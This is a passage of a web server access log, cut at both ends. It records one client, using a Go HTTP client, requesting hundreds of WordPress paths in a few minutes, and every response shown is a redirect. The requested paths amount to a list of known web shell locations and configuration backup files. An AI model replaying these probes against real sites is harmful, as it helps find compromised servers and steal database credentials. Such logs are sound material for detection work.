HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:00:56 +0300] "GET /wp-content/plugins/Nxploited/class-payment.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:01 +0300] "GET /wp-content/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:06 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:06 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:06 +0300] "GET /wp-includes/js/dist/script-modules/block-library/file/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:07 +0300] "GET /wp-includes/class-wp-theme-json-resolver-sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:12 +0300] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:17 +0300] "GET /wp-includes/certificates/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:22 +0300] "GET /wp-includes/ID3/interactivity-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:27 +0300] "GET /wp-includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:32 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:32 +0300] "GET /wp-content/themes/twentytwentyone/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:33 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:37 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:43 +0300] "GET /wp-includes/SimplePie/Content/Type/Sniffer.plugin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:47 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:48 +0300] "GET /cgi-bin/cgi-bin/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:53 +0300] "GET /wp-admin/css/colors/blue/nbpmo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:01:58 +0300] "GET /wp-includes/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:03 +0300] "GET /login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:08 +0300] "GET /wp-includes/sc_1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:13 +0300] "GET /wp-content/gk.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:18 +0300] "GET /about/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:23 +0300] "GET /ALFA_DATA/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:28 +0300] "GET /ALFA_DATA/alfacgiapi/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:33 +0300] "GET /contact/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:38 +0300] "GET /wp-content/uploads/ai-builder/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:43 +0300] "GET /wp-content/uploads/ast-block-templates-json/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:48 +0300] "GET /wp-content/uploads/astra-sites/json/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:53 +0300] "GET /wp-content/uploads/cartflows-logs/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:02:58 +0300] "GET /wp-content/uploads/edd/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:03 +0300] "GET /wp-content/uploads/elementor/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:08 +0300] "GET /wp-content/uploads/simply-static/temp-files/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:13 +0300] "GET /wp-content/uploads/st-importer/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:18 +0300] "GET /wp-content/uploads/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:23 +0300] "GET /wp-content/uploads/wc-logs/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:28 +0300] "GET /wp-content/uploads/woocommerce_uploads/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:33 +0300] "GET /wp-content/uploads/wpforms/cache/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:38 +0300] "GET /wp-content/uploads/wp-file-manager-pro/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:43 +0300] "GET /wp-content/uploads/db-status.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:48 +0300] "GET /wp-content/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:53 +0300] "GET /wp-content/uploads/elementor/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:53 +0300] "GET /wp-content/uploads/wp-file-manager-pro/fm_backup/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:03:58 +0300] "GET /wp-content/uploads/well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:03 +0300] "GET /wp-content/uploads/well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:08 +0300] "GET /wp-content/uploads/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:13 +0300] "GET /wp-content/uploads/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:18 +0300] "GET /wp-content/uploads/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:23 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:28 +0300] "GET /wp-content/uploads/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:33 +0300] "GET /media/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:38 +0300] "GET /wp-includes/css/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:43 +0300] "GET /wp-includes/js/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:48 +0300] "GET /wp-includes/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:53 +0300] "GET /wp-json/oembed/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:04:58 +0300] "GET /wp-json/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:03 +0300] "GET /wp-json/wp/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:08 +0300] "GET /wp-json/wp/v2/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:13 +0300] "GET /wp-content/wp-content/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:18 +0300] "GET /wp-content/wp-config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:23 +0300] "GET /wp-content/plugins/js_composer/bak.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:28 +0300] "GET /wp-content/plugins/elementor/assets/css/conditionals/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:33 +0300] "GET /wp-content/plugins/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:38 +0300] "GET /wp-content/plugins/wpforms-lite/assets/css/frontend/modern/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:42 +0300] "GET /wp-content/wp-content/plugins/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:47 +0300] "GET /wp-content/plugins/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:52 +0300] "GET /wp-content/plugins/cielhpn/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:05:57 +0300] "GET /wp-content/plugins/elementor-pro/modules/loop-filter/data/endpoints/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:02 +0300] "GET /wp-content/plugins/forminator/library/field-autofill-providers/contracts/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:07 +0300] "GET /wp-content/plugins/advanced-custom-fields-pro/includes/Updater/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:12 +0300] "GET /wp-content/plugins/enhanced-text-widget/analyst/src/class-wp-logo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:17 +0300] "GET /wp-content/plugins/js_composer/include/classes/vendors/plugins/test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:22 +0300] "GET /wp-content/plugins/revslider/admin/assets/js/plugins/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:27 +0300] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/wp-mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:32 +0300] "GET /wp-content/plugins/sitepress-multilingual-cms/classes/plugins/wp-blog-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:37 +0300] "GET /wp-content/plugins/updraftplus/includes/jstree/themes/wp-activate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:42 +0300] "GET /wp-content/plugins/wp-file-manager/lib/themes/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:47 +0300] "GET /wp-content/plugins/wp-blog-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:52 +0300] "GET /wp-content/plugins/elementor/assets/lib/pickr/themes/wp-blog-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:06:57 +0300] "GET /wp-content/plugins/contact-form-7/uoyaugar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:02 +0300] "GET /wp-content/plugins/check-email/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:07 +0300] "GET /wp-content/plugins/file-manager-advanced/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:12 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:17 +0300] "GET /wp-content/plugins/elementor/lndex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:19 +0300] "GET /wp-content/plugins/wordpress-seo/wp-seo-trigger-table.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:24 +0300] "GET /wp-content/wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:28 +0300] "GET /wp-content/plugins/star-addons-for-elementor/includes/class-star-addons-uploads.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:33 +0300] "GET /wp-content/plugins/contact-form-7-honeypot/includes/rest-api/wp-admin/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:38 +0300] "GET /wp-content/plugins/js_composer/include/classes/vendors/plugins/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:42 +0300] "GET /wp-content/plugins/the-events-calendar/build/css/integrations/plugins/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:47 +0300] "GET /wp-content/plugins/updraftplus/includes/jstree/themes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:52 +0300] "GET /wp-content/plugins/ssss/src.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:07:57 +0300] "GET /wp-content/plugins/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:02 +0300] "GET /wp-content/plugins/tiktok-for-business/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:07 +0300] "GET /wp-content/plugins/contact-form-7/base-theme.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:12 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-bes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:17 +0300] "GET /wp-content/mu-plugins/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:22 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:27 +0300] "GET /wp-includes/blocks/site-logo/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:32 +0300] "GET /wp-content/newfold-page-cachesocial/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:37 +0300] "GET /wp-content/file61.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:42 +0300] "GET /wp-includes/blocks/comment-author-name/editers.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:45 +0300] "GET /wp-admin/plugin-editor-trigger.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:50 +0300] "GET /wp-includes/blocks/query-pagination-numbers/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:55 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:08:59 +0300] "GET /wp-content/upgrade-temp-backup/media/files/files/cache/ulnc/wbdo/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:04 +0300] "GET /wp-includes/block-bindings/backup/js/build/kys/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:09 +0300] "GET /wp-includes/ID3/src/v1/dist/build/uols/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:14 +0300] "GET /wp-admin/user/css/cache/piwk/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:19 +0300] "GET /wp-content/languages/plugins/test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:24 +0300] "GET /wp-content/languages/themes/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:29 +0300] "GET /wp-content/plugins_new/sitepress-multilingual-cms/classes/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:34 +0300] "GET /wp-content/plugins_new/wordpress-seo/admin/import/plugins/wp-blog-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:39 +0300] "GET /wp-admin/cs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:44 +0300] "GET /wp-admin/IXR/met/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:49 +0300] "GET /wp-includes/assets/wdf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:54 +0300] "GET /wp-includes/PHPMailer/koiy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:59 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:09:59 +0300] "GET /wp-includes/blocks/spacer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:00 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:00 +0300] "GET /wp-content/languages/plugins/media/v3/js/build/icdxa/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:05 +0300] "GET /wp-content/languages/plugins/v3/data/v1/css/jmy/msl/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:10 +0300] "GET /wp-content/upgrade/build/css/cache/img/src/backup/utt/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:15 +0300] "GET /wp-includes/blocks/social-links/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:20 +0300] "GET /wp-admin/admin-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:25 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:30 +0300] "GET /wp-content/themes/astra/assets/css/minified/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:35 +0300] "GET /wp-content/themes/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:40 +0300] "GET /wp-content/wp-content/themes/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:45 +0300] "GET /wp-content/themes/theme/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:50 +0300] "GET /wp-content/themes/sinatra/inc/customizer/controls/color/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:55 +0300] "GET /wp-content/themes/blocksy/inc/panel-builder/footer/widget-area-3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:10:56 +0300] "GET /wp-content/themes/crio/woocommerce/notices/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:00 +0300] "GET /wp-content/themes/hestia/inc/views/blog/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:05 +0300] "GET /wp-content/themes/fortified-child/docs/js/omelv/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:10 +0300] "GET /wp-content/themes/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:15 +0300] "GET /wp-content/themes/twentytwentyone/content-index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:20 +0300] "GET /wp-content/themes/proton/content-index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:25 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:25 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/inter/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:26 +0300] "GET /wp-content/themes/yootheme/content-index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:31 +0300] "GET /wp-content/themes/security.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:36 +0300] "GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:41 +0300] "GET /wp-content/themes/wp-signup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:46 +0300] "GET /wp-content/themes/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:51 +0300] "GET /wp-content/themes/master-blog/content-none-new-compiler.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:11:56 +0300] "GET /wp-content/themes/villagio-child/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:01 +0300] "GET /wp-content/themes/twentynineteen/sass/site/primary/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:06 +0300] "GET /wp-content/wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:11 +0300] "GET /wp-content/themes/consultstreet/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:16 +0300] "GET /wp-content/themes/blogger-buzz/welcome/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:21 +0300] "GET /wp-content/themes/mesmerize/page-templates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:26 +0300] "GET /wp-content/themes/theme-check/theme-check.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:31 +0300] "GET /wp-content/themes/hello-elementor/template-parts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:35 +0300] "GET /wp-content/themes/Divi/includes/builder/post/taxonomy/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:40 +0300] "GET /wp-content/themes/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:45 +0300] "GET /wp-content/themes/module.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:50 +0300] "GET /wp-content/themes/test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:55 +0300] "GET /wp-content/themes/blog-kit/inc/demo/demo-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:12:59 +0300] "GET /wp-content/themes/flatsome/inc/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:04 +0300] "GET /wp-includes/rest-api/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:09 +0300] "GET /wp-includes/pomo/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:14 +0300] "GET /wp-includes/sitemaps/providers/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:19 +0300] "GET /wp-includes/sitemaps/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:24 +0300] "GET /wp-includes/bootstrap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:29 +0300] "GET /wp-includes/js/tinymce/plugins/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:32 +0300] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:32 +0300] "GET /class-wp-image.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:37 +0300] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:42 +0300] "GET /wp-includes/php-compat/shadow-bot.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:47 +0300] "GET /cgi-bin/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:52 +0300] "GET /wp-includes/Text/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:13:56 +0300] "GET /wp-includes/SimplePie/src/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:01 +0300] "GET /wp-includes/SimplePie/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:06 +0300] "GET /wp-includes/style-engine/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:11 +0300] "GET /wp-includes/assets/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:16 +0300] "GET /wp-includes/interactivity-api/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:21 +0300] "GET /wp-includes/widgets/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:26 +0300] "GET /wp-content/languages/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:06:14:31 +0300] "GET /wp-content/languages/plugins/config.php 